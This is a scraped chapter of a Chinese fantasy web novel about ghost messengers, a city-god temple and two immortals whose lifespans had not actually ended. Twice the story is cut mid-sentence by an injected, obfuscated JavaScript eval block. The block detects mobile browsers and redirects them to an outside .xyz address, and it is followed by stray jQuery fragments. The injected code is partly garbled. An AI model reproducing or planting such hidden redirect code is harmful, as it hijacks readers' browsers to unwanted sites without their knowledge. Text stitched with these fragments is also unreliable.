明濡染答道:“从发大水起,这景象便出了,城隍大人问过上面,非是天界的仙君要点人上去,许是功德到了,自己成仙了。” 语气一转,他继续道:“他功德圆满的不是时候,拔起「宅心仁厚」牌楼的仙君出了点事,城隍大人就算香火足以,此时又飞升,上面也没有城隍大人的位置,现任城隍离不去,他就算能飞仙,也难成仙。” “这景象,多半也是因为这个原因,才是似起非起的样子吧。” 摸了摸脑袋,苦苦回忆,明濡染做鬼差这么久,还没见过哪位城隍的牌楼是会拔了又埋,埋了又会冒出头来,他心中也是十分疑惑。 新奇,着实新奇…第五茗询问道:“现任城隍官在此地做了几年了?” 明濡染道:“三万年左右。” 第五茗吃惊道:“这么久!点他的仙君是因何事…” 蓦地,她双眼比双唇还张的大,怔怔地望着面前出现的屋景。 三人绕过屏墙,面前多出一戏台,戏台左右各伴一高台,高台之上分别置放了红漆大鼓、黄铜巨钟,恍然间如到白昼时分,灯火通明,琉璃清澈,惹得第五茗心神荡漾,把想问的话也咽进了肚里。 她喉间滚了滚,不禁改而叹道:“京都的城隍庙搭建戏台子了?可真会享受,好漂亮啊。” 原来,所有城隍庙内景建筑,除了屏墙外那仙君拔起来的牌楼,其他建筑均是统一仿人界皇城京都的城隍庙所置。 而京都城隍庙和这些内景不一样,皆因皇城之内有真龙之气,仙妖在内也如凡人,所以这京都城隍庙不是仙界造的虚景,而是实打实,人帝修建的庙宇。 根据人帝官员的喜爱,先后建了城隍殿,左右厢房,后置献殿,前置献殿,以及额外的土地殿和灶火殿。 也不怪第五茗大惊小怪,她不做上仙太多年,人界一年是一年的新样,作为小鬼,见的都是奇形怪状,循环反复,毫无新意的景色。 她道:“京都的城隍庙比这里更辉煌吧。” 明濡染道:“应该是吧,毕竟京都皇城多热闹,这里也就眼下出了大事,有点子鬼影,京都的城隍庙,游走在其间的,可都是活生生的人。” 第五茗道:“各地有各命,可惜了。” 明濡染道:“可惜什么?” 第五茗指着面前的戏台子,道:“可惜我没有这样一间城隍庙。” 明濡染口中一噎,他还真没办法劝第五茗,毕竟都叫城隍庙,自然供奉的也是该区域的城隍官。 该说不说,城隍庙真是相比之下,最让人羡慕的庙宇。 要知道,城隍庙是所有城中庙里,修建最有人味的地方。 除了供奉城隍官的城隍殿,还有左右厢房…虽然是为留宿的信众准备的,但耐不住屋群看起来热闹。 像他们此间站的地方,能入内境的多半不是人,故而除了京都城隍庙,这其他地方的城隍庙厢房,多是给鬼差仙者使用。 若他们能留宿一夜,这方寸也有他们的一席之地。 至于不远处的两间献殿则有点意思了。 有一段时间城隍庙信众多,贡品也不少…堆得整个庙宇无地下脚,城隍官更是分不清哪些是庙内道徒所奉,哪些是庙外来的信众所供,便弄错了好几件祈愿的顺序。 信众责备,道徒委屈,城隍官无奈,故而,给人间官员托梦,索要了前后献殿。 是的,作为城隍,仙阶小,无甚面子需要保,可以直接“要”所需,这不就为庙宇求来了前殿让外来信众上奉诚意,后殿让庙内道徒,两厢香火都至囊中,得每日常规供奉。 第五茗道:“这戏台,是哪位城隍官要来的?” 明濡染不清楚,却还是有问必答道:“回上君,这事我不清楚。近日因风雨江亡魂太多,才被借调到此,来此地时,才发现各间城隍庙内景有了这戏台子。” 一旁,一直未讲话的酆小洪,突然出声道:“前年人帝去过城隍庙,见庙外有文戏上演,却没有戏台,就为城隍庙搭了戏台子。” 牌楼前,第五茗心中那般有困顿,他也拉开了话匣子,第五茗却为了与他拉开关系,咽下了想探问的话,一路上,他也没再找到机会再插入到这二人的一来一往之间。 这时,好不容易得了机会,他道:“并非是京都城隍官所求。” 前年? 「蒲小明」和「酆小洪」那时都还活着,尚且都远在离京都皇城千里之外的平安村。 第五茗心中难免有些震惊,震惊之余,又有些许纳闷:酆小洪怎么可能知道关于京都的事情…且仿若亲眼见过一样。 她指了指左右两边的高台,面露一丝诧异,终是没忍住,迎上了酆小洪的话,问道:“为何还送了一鼓一钟?” 明濡染更懵了,好在他够机灵,知道不是问他,便没再答话。 酆小洪会心一笑,朝第五茗身旁挪近了一步,道:“为开戏前报时而设。” 举手向鼓一指,他道:“一幕戏前鸣鼓。” 挥袖折向了相反的方向,他继续道:“一折戏前顶钟。” 第五茗颔首道:“可知什么时候完工的?看着像是可以随时开戏。” 酆小洪似亲自督建,细算道:“应是去年上元节后开工,今年上元节前竣工。” 一个秘密昭然若揭,明濡染听到此话,瞠目结舌:仙君…你知道的也太清楚了吧,这不是人帝的注意吗? 他小心翼翼地左右偷瞄,打量着酆小洪和第五茗。 前方灯罩上的花纹,闪入第五茗眼中,她脑中有一段回忆闪现,眸眼噙笑,道:“仙君,你看过戏吗?” 明濡染知道,这一问一定也不是在问他,安静地闭着嘴,悄悄退了下去,隐入楼宇的阴影之中。 灯火璀璨,楼宇前环堵萧然,只余两只鬼影。 酆小洪答道:“看过。” 他想了想,估摸出第五茗想问的并非是这‘看与未看’,而是他‘看过什么戏’。 第五茗在试探他究竟何时是仙身之识。 他不骄不躁,亦不惊慌,对第五茗的这份上心,竟生出一点窃喜,浅笑诚然道:“只在前年上元节,和上君一起在镇上看过一出小戏。” 未放下的长臂,红袖一展,戏台上立马开始唱了起来:“春秋亭外风雨暴,何处悲声破寂寥…” 第五茗微蹙秀眉,回头疑惑道:“这出戏,和我一起看的?京都皇城的戏台都建好了,今年上元节没开戏?” 酆小洪答道:“开了戏的。” 第五茗神情严肃,质问道:“唱的什么?” 酆小洪道:“不知。” 台上正唱到了第五茗最不喜欢的桥段,“我只道铁富贵一生铸定,又谁知人生数顷刻分明。想当年我也曾撒娇使性,到今朝那怕我不信前尘…” 这一次,她倒没有同身边的人碎碎念吐槽,而是仔细聆听,那接下来令人发笑的唱言,“这也是老天爷一番教训,他教我收余恨、免娇嗔、且自新、改性情、休恋逝水、苦海回生、早悟兰因。可怜我平地里遭此贫困,遭此贫困…” 她心道:老天没这么闲,都如这戏本子一样,所遭所遇,不过是上面写的一出戏。 酆小洪施法鸣鼓,台上的戏骤然换了一出。 不多时,他道:“刚刚那段有些无聊,上君不看也罢。” 第五茗道:“故事而已,何必较真,听个乐就好。” 瞧着台上的戏,她复又回到正题,道:“今年的戏,人帝去看了吗?” 酆小洪道:“没有。” 第五茗道:“那他在干嘛?” 酆小洪道:“下棋。” 第五茗一顿,良久才“哦”了一声。随即转身,不再看戏,继续向城隍殿走去。 一边走,她一边嘴里嘟囔道:“也不知道浪费钱修戏台子干什么,修了又不看戏,好歹也要请人去凑凑热闹啊,这么好的戏台,那么大的鼓和钟,怎么就不去呢,可真是身在福中不知福,浪费了。” 她背后,只余台上戏幕高潮迭起,戏角在突兀的崴脚尴尬中,继续让唱词阵阵响起,“这才是人生难预料,不想团圆在今朝。回首繁华如梦渺,残生一线付惊涛。莫在痴嗔休啼笑,教导器儿多勤劳。今日相逢得此报,愧我当初赠木桃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547191|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一曲《锁麟囊》唱闭,酆小洪展袖一收,追了上去,躲在暗处的明濡染见状,立即也跟了上去,须臾,璀璨如星的戏台,其间灯火在三人身后熄灭。 明濡染赞叹道:“这人间编的文戏,还真是波荡起伏,有点意思哈…” 二人无一搭理他。 明濡染窘然一笑,也闭上了嘴。 三人看戏,就属他没看明白这出戏唱的是什么,他也没看明白台下二人这段对话是什么意思。 其实啊,这真不怨他瞧不来戏,因为台上的戏,本就放得不完整。 这台上的戏幕,全是以酆小洪人间记忆所幻。 第五茗清清楚楚记得,在小镇上看的那出戏,因镇上碎石过多,唱戏的人频频崴脚。刚才在这戏台上的戏角也是频频崴脚,所以她才问道‘这出戏,和我一起看的?’ 至于明濡染听不懂二人的对话也正常,毕竟那两人说的话都是套话。 ‘唱的是什么’,实为问:酆小洪是否去过京都城隍庙? 他答‘不知’,既是没去过。 而最后询问人帝行踪,答的‘下棋’也非寻常下棋,而是执天下棋局,以国民为子,以决策为局,故此,酆小洪人在风雨江平安村,却能与人帝一起对弈。 根据最近人间发生的大事来看,第五茗猜测多半那‘棋’指的是风雨江发大水这事。 酆小洪知道这么多,第五茗本来还是很震惊的,因为她从来没听说过,有哪位仙君和她一样,入六道,要带着过往惩戒的记忆受罚。 她也从来没听说过,有哪位仙君需要又历劫,又身负仙职。 后来想到酆小洪为人时未加害于她,如今初做鬼魂,对她算是百般照顾,只撒了点脾气,拉她垫了垫名声,心中便自我宽解:我都能不饮孟婆汤入六道,他有两界身份,也不算什么稀奇之事嘛。 过了戏楼,鬼差身影渐渐多了起来。 鬼差们穿着黛粉复染过的五颜六色袍衣,行色匆匆。 第五茗见到不少熟悉面孔,隔着老远,朝对方挥动双手,他们倒是也懂事,都忙里偷闲地,皮笑肉不笑地,像她回应招呼。 一阵忙活,终在离主殿越来越近时,第五茗松了一口气,甩了甩胳膊,抱怨道:“就没见过哪个地方有这么多鬼差,嘴都给我叫渴了。” 身为鬼差,自然也得算上一份,明濡染在她身后,赔礼道:“风雨江发大水死了不少人,水过境地,又生了疫病,再死了一批下来,数量不比淹死的少,城隍大人也是非不得已,才从地府借调了这些差友。” 他却是一手攀在腰间的通冥牌上,听着里面吐槽的鬼嚎,心道:你若是不主动,也没鬼愿意多这一茬事… 做了一世人,第五茗性情变了好多,早没有当初那般磨人,体谅道:“我知道,我知道…就是一时见到这么多友人,感叹一下,没别的事,不是抱怨,也不是怪罪…就是闲来无事,感叹两句,别误会。” “…” 明濡染内心狂嚎:友人,上君…要不咱们真算得上你的友吗? 哪有做朋友的,总来磨人,不带帮助朋友飞升的… 一般城隍庙最多只有两名鬼差,加上两名无常,一名城隍,偌大的隍城庙内景,也只有在逢年过节,各地方上土地来诉职时,才有此十分之一的热闹景象。 第五茗接着道:“可是…这里不是地下,聚集这么多鬼魂,不怕生异变?” 明濡染道:“这次也是稀奇,不仅地下滞留的几万鬼魂未有躁动,这几日风雨江城隍庙内的数千鬼魂也是一片祥和。” 酆小洪又是好一阵不说话,第五茗以为是刚刚试探之事,惹对方不悦了,故意无话找话,询问起身旁人,道:“仙君,你可知是为何?” ‘仙君’二字,亲耳听见,让明濡染从第五茗口中确认了酆小洪的身份。 然他对这其貌平平,甚至有些滑稽的男子形貌有一丝震惊,脚下趔趄,落后二人一步,望着二人的背影,他暗自庆幸刚才在外面时的机智之举。 也因为这落后的一步,前面二人的言语,让他漏听了去。 谁知,第五茗随口一问,酆小洪还真晓得一二。 但他却没详尽道出原因,只说道:“上君还记得平安村土地庙那只龟妖吗?和她有点关系。” 第五茗喃喃道:“她道行也不高,消这么多鬼怨,也不太可能吧。” 酆小洪又道:“上君,又可还记得外面那第四道牌楼吗?” 第五茗惊呼道:“似起非起…怎会不记得。这才经过不足一盏茶的功夫。” 猛然拍手,她惊呼道:“原来她是新城隍啊!可惜了,尚未做城隍,倒是先做起城隍的事了。这牌楼拔不起来,她还如何飞升?天上也不说派一位仙君来帮帮忙。” 酆小洪道:“人帝之怒,天帝之愤,鬼魂之怨,总要有人来消的。” 第五茗唏嘘道:“不止,还有冥界之主呢…这么多幽魂,突然多出来的事,换我也生气,定是要找一个法子来撒撒气。” 忽而叹气,想起她做司命那些时日,又想起那龟妖阮瓀被砍断了一只手,还没了壳,肉身也做了抵押的凄苦命运,似有无奈地,自言自语道:“难怪最近并无大德之人飞升的迹象,这里却有一拔土而出的琉璃牌楼,定是这人命格簿子写成那日,便有仙君先替她拔了牌楼,却没想到最后可能会点飞不成。” 言到此处,第五茗就想多问一嘴,道:“仙君可知,这琉璃牌楼,当初是哪位仙君拔起来的?” 酆小洪道:“雷部雷帅风有情。” 14. 阳寿尚在魂被勾7 算算时日,这件事还真不假,因为第五茗在平安村做人时,曾见过风有情。 风有情扮作道士途经平安村,见村民正在驱赶第五茗和酆小洪,便入村大显神通,帮助第五茗和酆小洪留了下来。 现在看来,当时风有情估计正是去考察这位他想要点飞上天的人。 入村一番折腾,离开时又没打声招呼,第五茗仍记恨着风有情,来都来了,居然没留下点金银财宝,让她到死都没过上多少好日子。 她正义感上身,咬牙切齿道:“风有情!他就这么放弃了?” 酆小洪道:“应该是放弃了。” 第五茗吐槽道:“我就知他是懦夫,遇到事情,总是先撇给别人…” 说到这里还不够解气,她继续道:“与雨无伤的情事也好,同新城隍的公事也罢,还有我的一道命事,他都应付得极其畏首畏尾,果真是薄情寡义之人,惯会辜负女子,也惯会撇弃他人。他就是个惯犯!!若是我点飞了小将,说什么也会护对方一路顺坦,保仙运亨通。” 酆小洪窘然一笑,道:“是吗…若能做上君的小将,定是件幸事。” 落在他们身后的明濡染内心挣扎许久,到底还是选择追了上来。 他准备伺候在旁,为前途挣一两个机会。 他抬袖拭汗,逢迎道:“上君和仙君健步如飞,我刚刚踩着一石粒,竟没跟上二位,有失礼数。” 第五茗兴致起然,本想再多说几句风有情的碎话,见有不熟稔的身影凑近,便闭了嘴,连带着本来笑容蔼蔼的酆小洪,也突然冷了脸色。 明濡染有眼力见,却来不及了,他哪知道这二人在说小话啊,见突然静下来的氛围,明濡染尴尬地缓了缓步子,又回到了先前与二人的距离上,而前面两人也没再言语。 幸好,不稍片刻,城隍殿便出现在三人眼前。 从殿门里连滚带爬,跌出来两无常,一黑一白,正是埭骰和埭桡。 二人满面愁容,眼角委屈,浑身发抖,在看见殿外三人后,更是侧头回避。 第五茗招呼道:“埭骰大哥,埭桡大哥。” 明濡染在后方听见第五茗对鬼差一贯的敬称,想起通冥牌里的各种流言:‘上君叫了我一声大哥,结果把我钱刮得一干二净。’ ‘那一声大哥,我可是替她挨了一巴掌。’ ‘我本来要升审判了,她一声姐姐,我…我…成无名之辈了,我是谁啊!我怎能当上君一声姐姐呢,我真愚蠢…呜呜呜…’ … 脚下一滑,险些出了洋相,他感觉到身旁传来一道打量的目光,转头看去,酆小洪竟有一丝不满地看着他. 明濡染赔笑解释道:“这么多年过去了,没想到上君还是这么客气…又热情…” 酆小洪并没有因为他的恭维变得和悦,明濡染便正经小声道:“城隍庙鬼多了些,卷带进来的碎石也多,刚才没仔细脚下.” 心中却是不免为面前两位无常担忧,这可是被祸害的前兆。 要是第五茗知道他这么想,该是要伤心了,她叫‘大哥’那是真真觉得,嘴甜好办事而已。 第五茗问道:“埭桡大哥,是发生何事了吗?” 见埭桡面色沉重,抿了抿的嘴唇,又闭紧了,便看向埭骰,她继续问道:“埭骰大哥,是不是与我和酆小洪有关?你们就告诉我们吧,反正待会儿进去了,城隍大人也会说的。” 埭骰满脸歉意,支支吾吾半天,终是没说出个所以然。 第五名心想:我乃历劫仙身,酆小洪又是正儿八经的仙君,还有什么是能让两名无常这般难以张口…实在想不通。 如是想着,她安慰埭骰埭桡,道:“人活一场,不过生死二事最重,现在我们都做亡魂了,埭骰、埭桡二位大哥还有什么不敢说与我们听的呢。” 闻言,埭骰面上歉意更甚,但总算是能说话了,道:“小明,对不起…” 第五茗道:“嗯,你的道歉我先接受,你继续说。” 埭骰从容一分后,继续道:“都是你埭骰大哥无能,学术不精…” 第五茗道:“嗯,这我知道,你连勾魂索命都生疏得紧,但你们也是临时上任,能理解。” 抬头示意对方继续说下去,却过了半晌,她才听见埭骰道:“你阳寿未尽…” 埭桡苦着脸,看向一脸平静的酆小洪,在一旁补充道:“酆小洪的阳寿也未尽…” 事件中的二人,脸上均无异样。并且为了让埭骰能更好地表述,第五茗还习惯性地提前点头。 沉吟了片刻,她道:“嗯嗯,我知道…继续…” 咚…竟是明濡染唤出了法器,双手杵着,撑在了地上。 他见其他几人纷纷看了过来,镇定赔笑道:“今日这地有些滑,我杵着,免得跌倒…” 想了想,神情冷了下来,却依旧嘴角含笑,看向埭骰埭桡后,又转头望向酆小洪,他请示道:“待会儿,二位要是有需要使力的地方,但凭吩咐。” 明濡染颔首,毕恭毕敬,微微施礼,心中已是翻江倒海:倒大霉了!这种差错出在别的小鬼身上也就算了,这两人可不简单…等着飞灰湮灭吧。 埭骰道:“对不起…我们兄弟二人不是故意的…” 突然,第五茗如梦惊醒般,吼道:“你说什么!我阳寿未尽!!” 原来不是不在意,而是慢了一些。 埭骰点了点头。 第五茗面色如土,道:“你们真得好好找上官重修一番!!折腾这么大一阵,搞半天,我还没死。” 冷静下来后,她又问道:“城隍大人可说了怎么办吗?” 明濡染真快站不住了,他以为第五茗会大发雷霆,结果却没有,只是引导无常说出事情,当他以为第五茗真的不追究了,结果对方大吼一声,显然是才反应过来,正当他以为第五茗终于要发怒了,谁知,也只是走着流程,并没有撒放半点情绪… 他为他一连串的猜想,感到羞耻,手中的法器,此刻也显得尤为碍眼,心道:通冥牌内是不是议论得过分了… 见埭骰埭桡对第五茗的问题摇了摇头,明濡染赶紧抢答道:“一般来说是要送二位还阳,但城隍又差我来找二位过殿一叙,估计是有别的原因,要不我们先进去?” 他先一步,收了法器,隔开埭骰埭桡两无常,为身后二人开道。 “哎…” 第五茗对着埭骰埭桡摇头叹气,在离开之前,又问道:“两位大哥以后是在哪方留职呢?” 埭桡答道:“我们本就是分配到风雨江的黑白无常,没有留不留职一说。” 第五茗道:“好吧,待会儿见了城隍大人,我会为二位大哥说说好话的,你们也别苦着脸,能多找上官学学,便尽快把不会的补上,这要是一直犯事,指不定你二人是要去地狱走一遭。” 说完,她便跟着明濡染一道朝正殿内走去。 埭骰望着第五茗的背影,有些害怕地呢喃道:“真的吗?真的会下地狱吗?” 埭桡拍了拍埭骰肩膀,想安慰对方,一时又不知说点什么,思虑半天,吐出四字,道:“早知当初…” 他刚吐四个字,离开两步的酆小洪转回身来,质责道:“早知当初?” 他眸中幽火点点,映照在寻声望来的埭骰埭桡眼中,继续道:“你们二人岂非是把无常差事当儿戏了!” 幽火似在埭骰埭桡眼中越烧越大,慢慢地便自他们眼眶流了出来,流满他二人全身。 熊熊烈火,任由他二人逃窜呼救,也躲不过,这幽火着实奇怪,会让人似被火灼,似被冰冻…须臾,幽火又如锋刃,刀刀不见血,却刀刀要人命。 明明身后还是鬼差涌动的情形,面前也还站着突然回头的酆小洪,可埭骰埭桡却觉得,他们和他们不在同一个世界。 他们出不来…别人也看不见。 不对! 酆小洪在一旁一直看着,那没有表情的面容上,那双眼睛分明是看向他们的。 直到酆小洪身后,传来一道清脆的声音:“得赶在肉身烂掉之前还阳…也不知道这城隍大人怎么安排的。” 瞬间,埭骰埭桡依声而出,如释重负地瘫坐在地,身上的无常袍子早被汗水润湿,双手紧握胸口衣襟,心有余悸的喘着大气。 头顶上方,酆小洪眸色早已如常,留下句“有此教训还不知悔改…外面无常众多,出去请教一二,能顶过常规教习数倍。”说完,便拂袖追上前方的身影。 劫后余生,埭骰一双空洞的眼神,忽然注意到酆小洪身上的大红喜袍,眼睑微垂,不见大颗大颗的雨点子,声音倒是有些呜咽。 像是他哭了。 他哽咽道:“呜呜呜,埭桡,他和小明穿的是一对喜服,呜呜呜…早先我就听说过,人在凡间有未了的心愿,到了地下,会在入鬼门关前了却,呜呜…小明…我就…我就进来核对名册的功夫,她怎么就跟了他了。” 刚从炼狱中出来,埭桡余下的精力,只够思虑酆小洪说的话,他越想越觉得有道理,便拖着抽抽噎噎的埭骰往殿外奔去,道:“想什么呢!做好无常,什么女鬼没有,区区一个蒲小明,以后你要多少有多少。” 埭骰擦着干涩的眼角,道:“埭桡…你说的对,以后我一定…” 还没等埭骰的话说完,埭桡又提醒道:“别忘了酸楂上官的提醒,这两人不一般,他们可能是仙…咱们躲着点。” 这段感情,来的快,去的也快。 埭桡一句话,便拉回了埭骰的胡思乱想,让他琢磨起刚刚那一幕。 酆小洪回身看过来,他们兄弟二人便跌入幽火难出,心惊肉跳地赞同道:“对,咱们小心点。” 没过一会儿,他抽噎的哭腔也荡然无存。 他们兄弟二人,打心底里还是不愿意相信酆小洪和「蒲小明」二人是仙,主要因为二人被勾魂时的衣着身形,让人太过唏嘘。 埭骰埭桡没见过有这么苦命的仙君。 城隍殿之内,狼狈至极,本来还算宽敞的大殿,桌案上、师椅上、地上…铺天盖地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547192|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆着比人高的卷轴,和一摞又一摞,似小山般的名册。 可能因殿外面攒动的鬼差太多,声音此起彼伏,这殿中竟是一点也不够安静,让本就看着杂乱的殿堂更乱了。 挪一步,第五茗便要拾几本地上摊开的册子,规整好,放在一旁高垒的册集上方,以此开出一条道路,方便他们走到殿宇深处。 行了两三步,第五茗一直在忙碌,明濡染也不敢闲着,手脚麻利地挤到前方,唰唰几下,就把路开到了高处城隍办案的长台前。 第五茗诚意感谢道:“鬼差大哥辛苦了。” 哪能让第五茗这样称呼他呢? 明濡染双手捂脸,酝酿好情绪后,才伸出一手,一脸心甘情愿‘为你服务’的表情,道:“上君言重了…这些都是我分内的事。” 看了眼第五茗身后的酆小洪,他继续道:“上君和仙君叫我明濡染就好了。” 第五茗喉间耸动,这番受人恭维的景象,早已是两万年前的事情了,现下又见,竟有一丝不习惯,道:“哦…那…辛苦了,明濡…濡染?” 明濡染笑容明媚,道:“应该的。” 倒是酆小洪,比起第五茗的不自在,他更习以为常,说话自如,道:“明濡染…” 明濡染踢了踢脚边倒下来的册集,单膝跪拜在地,应道:“在!仙君有何吩咐?” 酆小洪环顾四周,并未注意到明濡染给他行的大礼,倒是一旁的第五茗有些羡慕,又有些替酆小洪羞耻,侧脸打量两人。 酆小洪慢悠悠道:“你不是奉城隍之命,领我二人进来吗?他人呢?” ‘啪啪…’ 数击脑门后,明濡染‘噌’地一下站了起来,就着手边的卷轴掀了掀,翻找一番,没寻到人影,他尴尬解释道:“这段时间,去底下的人太多了,各土地、无常把东西送来后,就只能先暂时堆在这里,城隍大人也一直在这里面的,估计是掩在名册之下,待我再仔细找找。” 酆小洪点头道:“嗯。” 第五茗提醒道:“最好快一点,耽搁久了,我们阳间肉身若是坏了,就没法还阳了。” 明濡染道:“是,我立即就去找。” 言闭,明濡染便迈进长台后的卷轴册集中,一边扒拉书卷,一边喊道:“常大人,你在哪儿?常大人…常大人?蒲小明和酆小洪我已经带来了,还要请您现身,常大人…常…” 乒乒乓乓…册籍四飞… 哗啦哗啦… ‘高山’倒了数座,在殿宇门口一旁的卷轴中,钻出来一人。 他头上还顶着一本册子,手腕上各搭了几幅展开的卷轴,乍一看,竟瞧着比文曲星天权还更像个嗜书如命的呆子,若不是那些纸页上写的都是红字青墨的生死大事,这番景象倒是真可细细品品。 天权和他谁更痴? 明濡染高声唤道:“常大人,你怎么在那里啊!” 此人正是那在风雨江待了三万年,以德报怨,「宅心仁厚」,第三任城隍官——常遇春。 他刚出生时,本单名一个‘绿’字,自从出了妻子暗度成仓之事,他一路都被人笑话度日,着实辛苦,便在某日听了一位好心路人的劝告,改了名字,取了代表‘绿’中生机盎然之意的‘遇春’二字。 然而,事实并非如此,「常遇春」这名字,还有一则他本人都不知道的笑话。 那日,那路人,就那么在那路上,从那堆人群边经过时,无聊地听了一耳闲话,便参与进了那堆人群的争执。 那路人见常遇春居然依旧在为欺压他的地主辩解,忍不住,便也和围观的人一般暴跳如雷,气急败坏地一起羞辱常遇春。 那路人嘴笨,不太会骂人,重复了好几句别人的脏祟之语,才弱弱憋出一句带口音的话,“你这样的人,干脆改名叫常愚蠢好了!”。 虽生了副书生样,常遇春却没有书生的机灵学识,他没上过学,更没有受过学者的教化。 在闹哄哄的吵闹声中,那路人的弱势话语仿若长辈训教,温柔又和煦,让他空耳听成了,“你这样的人,干脆改名叫常遇春好了。” 世人都说潺潺教诲,如流水般清新、细腻,让人如沐春风如。 常遇春第一次有这种感受,也就在那一刻,他眼里的人,不止是人,就是厉鬼妖兽,也变得慈眉善目有爱心。 他心中震撼:果真如我所想一般,他们不是在数落,而是在尽心竭力地出谋划策。 常遇春听后,开心坏了,他本就一直为「常绿」这名字苦恼,未曾想,一毫无关系的过路人,能帮他解了多日困扰。 「遇春」便出生机,而生机之色,为「绿」。 寓意极好,既不辱父母赐名,还能规避过往羞耻。 ‘常绿’至此便成了‘常遇春’。 要说会脑补,还得是这位城隍官… 不然,也不会让他得了这么一个好名字。 不然,也不会让他为自己脑补出一颗大仁心。 不然,也不会让他有机遇做上地仙。 15. 小将未飞三万年1 顺着倒掉的‘高山’,三人转身向后回望,看见了那身穿绣有山脉纹样胭脂玉袍,头束藏绿布巾,腰间捆扎玉带,别着法器玉卷轴,模样清清雅雅的书生。 红配绿!!好配色!!! 第五茗心中一颤,遂即,打量起这位城隍官。 看得久了,她居然觉得有一丝眼熟,但却怎么也想不起来在何处见过,纠结片刻,便不再执着了。 毕竟她在这六道走了一万年,说不定是那日在路上擦肩而过时,因城隍官模样高雅有气质,多看了一眼,她施礼道:“见过城隍大人。” 常遇春扫下身上的书卷,一边点头道:“嗯,可是平安村的酆小洪和蒲小明?” 他一边又在倒塌的‘高山’中搜寻着什么东西。 一顶纱帽从书卷中抽出,常遇春拍了拍上面的灰,慌乱地整理着凌乱的着装。 第五茗答道:“回大人的话,我们二人正是。” 酆小洪也在一旁轻声回了一字:“嗯。” 看着常遇春如此冷淡二人,可把一旁的明濡染急坏了。 通冥牌内次次都能因为第五茗吵翻了天,明濡染可不敢相信这‘上君’和‘仙君’,会似在门外对待黑白无常一样好应付。 他来这里帮忙的时日虽短,但通过接触,他知道常遇春是一名顶好的城隍官,怕常遇春的怠慢,让第五茗和酆小洪怪罪下来,便小声朝旁边二人解释道:“上君和仙君,勿怪…常大人这几日亲力亲为,忙坏了,所有事都得他过目,他不是有意疏忽二位,也因常大人做事够仔细,精力都放在这上面了,这才核查出仙君和上君阳寿未尽。” 酆小洪道:“嗯,本君知晓。” 第五茗笑道:“我知道,你不必紧张。我们也不是什么不明事理的小鬼,自当以城隍大人的事为重。” 最后两句话,第五茗说得轻松,明濡染听得却多了几分意思。 明濡染神色不明,自己把自己吓得不轻,急忙用常遇春的身世诉苦道:“常大人为人时,挺惨的…他生来忠厚,却得了一个厉鬼命,多吃两口饭,便被亲友抛弃;从地主家将将赎身,娶上妻子,却被雇主挖了墙角,还生了崽子;好不容易背井离乡,独自生活,又被盗匪所掳;伺候盗匪数年不说,还落得一个牢狱之灾…” “等等!” 这故事,第五茗越听越耳熟,越听越记起些模模糊糊的回忆。 她道:“等一下,常大人…该不会入狱以后,还为越狱之人背了锅吧?” 点点头,见诉苦能博得同情,明濡染开朗了几分,道:“正是。” 第五茗继续道:“那他死后可有帮无常劝解怨魂?” 明濡染道:“有的,上君也知道常大人的事?” 想了想,他自言自语道:“上君知晓也不奇怪,这风雨江城隍官的故事广为人传,上君肯定早就听别人说过。” 第五茗迟疑道:“不是的…我不是听别人说的。” 眼睛不自主地看向殿门处,那卷轴中艰难抽身而出的常遇春。 她脑海里模糊的记忆,已经十分清晰了… 酆小洪有意打趣道:“此地城隍的故事,我倒是没听说过。” 看向第五茗,他询问道:“是此人,和上君有关?” 顿了顿,第五茗木楞地点了点头,又摇了摇头,向明濡染追问道:“你可知点将他的是哪方仙君?” 这问题的答案,整个三界都没有多少人知道。 只缘第五茗当时不仅醉酒,还是醉酒时路过,偶然起意凑的一次热闹。 她挤在人群堆里听上了一耳,常遇春刚讲完故事,她便把人点飞了,点完将,没和道贺的人客套客套,又因醉酒头晕,施了法,遁回床榻中休息,当场的…便没几人看清她的容貌,甚至连常遇春本人也不知道那日的仙君是谁。 只有那对话,自常遇春被点将之后,日日有路过的鬼差闲聊,会反复复述几遍。 明濡染道:“是哪位仙君?还真不晓得,但常大人与那位仙君有过对话,那仙君自称‘司命’,原话好像是…是…” 绞尽脑汁想了又想,好不容易拼凑出来,他激动道:“原话好像是这样的,那司命说道,‘此命困于局中,却自我解于局中,有趣…有耐性,让本君堂堂一司命…觉得稀奇。你既能无心却修此生,便去做一地仙试试,本君拟你‘宅心仁厚’,可觉得合适?’” 一番慷慨激昂后,明濡染恢复正常,分析起来,道:“听说三万年前,司命府倒是经常派司命常驻地府办公,也不知道是哪位司命仙君,但应该是位出了事的,不然都三万年了,常大人在这里都三万年了啊…风雨江香火也不算差,上了天界又下来,下来又上去,愣就是没有一位仙君认领。他也是怪可怜的…本以为摆脱了厉鬼命,做了仙人有好运,没想到争命改命到最后,还是那命数,衰到了极致。” 他话还没讲完,酆小洪听到‘司命’二字时,便把目光移向了第五茗。 酆小洪想起入城隍殿之前,第五茗的愤然之言——‘若是我点飞了小将,说什么也会护对方一路顺坦,保仙运亨通’不禁浅笑,耐人寻味道:“上君,可是你点…” 这话问得当真是直接… 第五茗急忙否认道:“不是不是…定是在六道伤了脑子,才有了这么段记忆,如他人在我耳边讲述故事,我最喜欢听故事了…怎么会呢?我记性一向很好,若是没喝酒…” 明濡染像是听明白了点什么,一番好意,道:“上君,那司命…当日好似正是饮了凡间烈酒,浑身酒气冲天…估计醉得不轻。” 